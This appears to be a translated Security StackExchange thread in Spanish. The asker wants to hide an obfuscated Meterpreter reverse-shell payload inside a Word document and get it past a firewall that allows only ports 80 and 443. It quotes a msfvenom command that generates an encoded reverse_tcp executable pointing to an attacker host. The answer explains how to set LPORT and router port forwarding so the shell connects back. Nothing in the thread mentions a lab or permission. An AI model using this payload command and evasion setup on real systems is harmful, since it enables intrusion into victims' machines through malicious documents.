pregunta LPORT - Parece que no entiendo algunos conceptos

2

Estoy tratando de construir una carga útil para insertarla como un código ofuscado en un documento de Word, que creará un oyente en la máquina atacada y me permitirá ejecutar algunos comandos (no a través del archivo .exe como se muestra en los tonos de los videos). )

Estoy asumiendo: La máquina atacada está detrás de un firewall, que bloquea el tráfico saliente, excepto el puerto 80 y el 443. Por lo tanto, quiero que el tráfico de la máquina atacada se reenvíe A esos puertos, para que pueda escuchar y ejecutar.

Estoy usando el kit de herramientas SET (en Kali), seleccione "ataques de ingeniería social" - > powershell attack vectors - > Inyector de código de shell alfanumérico.

Solicita LHOST, que es mi IP pública, reenviada a mi IP interna (estoy detrás del enrutador).

Luego solicita LPORT y eso es todo.

Mi entendimiento es LPORT - Puerto local, que significa puerto. Voy a aceptar tráfico proveniente de la máquina atacada. Pero en este caso, ¿CÓMO puedo especificar un puerto saliente para la máquina ATTACKED?

Me gustaría una solución de medidor de metro, si es posible. No me importa si es un vector de PowerShell u otro, ya que la carga útil, si entiendo correctamente, solo me abre la posibilidad de escuchar y ejecutar comandos en la máquina atacada.

En una hoja de trucos del Instituto SANS he encontrado un comando interesante:

msfvenom -p windows/meterpreter/
reverse_tcp -i 5 -e x86/shikata_ga_nai -f
exe LHOST=10.1.1.1 LPORT=4444 > mal.exe

Aquí parece que LPORT se introduce en un archivo de malware, pero en este caso será exactamente lo que necesito; un puerto para el tráfico saliente de la máquina atacada.

    
pregunta Michael 16.08.2017 - 12:58
fuente

1 respuesta

1

Tendrá que configurar LPORT en dos valores diferentes . LPORT en la carga útil debe ser el puerto que reenvió en el enrutador (al que se puede acceder externamente). LPORT en el exploit debe ser un puerto en el que escucha su máquina atacante, por ejemplo, el puerto 4444.

Explicación :

Como un firewall solo permite los puertos 80 y 443, deberá reenviar 80 o 443 en su enrutador al puerto 4444.

Para esta explicación, vamos a tomar el puerto 5555 como el puerto abierto en el enrutador, y el puerto 4444 como el puerto que escucha en la computadora atacante. Para lidiar con el firewall, deberá usar el puerto 80 o 443 en lugar del puerto 5555.

Ya que está realizando este ataque a través de Internet y ha reenviado el puerto a su máquina atacante, puede enviar datos desde una computadora en una red diferente a su máquina atacante. Parece algo como esto:

Computer on another network -> Router (port 5555) -> attacking machine (port 4444) 

Entonces, dado que la carga útil se inicia desde otra red, la única forma de comunicarse con su computadora atacante es en el puerto 5555.

El exploit / manejador se está ejecutando en su máquina atacante que está en su propia red. El puerto 4444 está escuchando los datos que se han enrutado desde una computadora externa, a través de su enrutador, y al puerto 4444. Por esta razón, el LPORT para el exploit / handler es 4444.

    
respondido por el Joe 16.08.2017 - 16:59
fuente

Lea otras preguntas en las etiquetas